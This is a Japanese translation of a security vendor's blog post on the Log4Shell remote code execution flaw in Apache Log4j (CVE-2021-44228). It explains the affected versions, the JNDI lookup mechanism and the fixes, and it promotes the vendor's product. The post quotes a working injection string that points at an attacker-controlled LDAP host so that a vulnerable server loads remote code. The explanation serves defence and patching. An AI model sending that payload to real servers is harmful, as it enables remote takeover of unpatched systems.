Log4Shell: Apache Log4j リモート コード実行
2683 ワード
重要な Java ロギング ユーティリティ Log4j での認証されていない RCE
2021 年 12 月 9 日、Apache は、Log4j 2 ユーティリティに、認証されていないリモート コード実行 (RCE) を可能にする重大な脆弱性が含まれていることを明らかにしました.これは、多数のアプリケーションに影響を与える深刻な問題です.
この投稿は Chetan Conikee 、 Fabian Yamaguchi 、および Katie Horne によって共著されています.
何が影響を受けますか?
Log4j は、Apache Struts2 などの多くの主要なフレームワークに依存関係として含まれている、人気のあるオープン ソースのロギング パッケージです.
Log4Shell RCE の脆弱性により、攻撃者は脆弱なバージョンの Apache Log4j を実行しているサーバーにリクエストを送信することで、任意のコードを実行できます.この攻撃は「Log4Shell」と呼ばれ、CVE 番号 CVE-2021-44228 が与えられました. Apache Log4j バージョン <=2.14.1 は、攻撃に対して脆弱です.
攻撃はどのように機能しますか?
ログを解析するとき、Log4j は受け取った入力を検査し、入力に含まれる変数を解決しようとします.特に、Log4j は JNDI ルックアップをサポートしているため、ネットワーク経由で変数を取得できます.
アプリケーションが脆弱な Log4j バージョンを使用している場合、攻撃者は最初に悪意のあるペイロード ${jndi:ldap://attacker.com/abc} を含む文字列をアプリケーションに送信できます.ここで、attacker.com は攻撃者が制御するサーバーです.
脆弱なアプリケーションは、${} に含まれる入力を JDNI リソースとして解釈し、attacker.com にリソースを取得するように要求します.攻撃者は、脆弱なアプリケーションによってロードされるリモート Java クラス ファイルを送り返すことができます.
この問題を修正するにはどうすればよいですか?
この脆弱性からコードを保護するには、log4j ライブラリを最新バージョンにアップグレードしてください. log4j 2.15.0 以降、脆弱なルックアップ動作はデフォルトで無効になっています.
ライブラリをアップグレードできない場合は、次の方法でこの脆弱性を一時的に軽減できます.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
ShiftLeft CORE ( https://www.shiftleft.io/ ) を使用すると、次のことができます.
アプリケーション ログを監視し、異常なアクティビティがないか確認してください.詳細がわかり次第、この投稿を更新します.
無料の ShiftLeft CORE アカウントを取得するには、https://www.shiftleft.io/register にアクセスしてください.
Intelligent SCA を試すには、ShiftLeft CORE 内でプレミアム トライアルにサインアップしてください.
Reference
この問題について(Log4Shell: Apache Log4j リモート コード実行), 我々は、より多くの情報をここで見つけました https://dev.to/shiftleft/log4shell-apache-log4j-remote-code-execution-1j40テキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol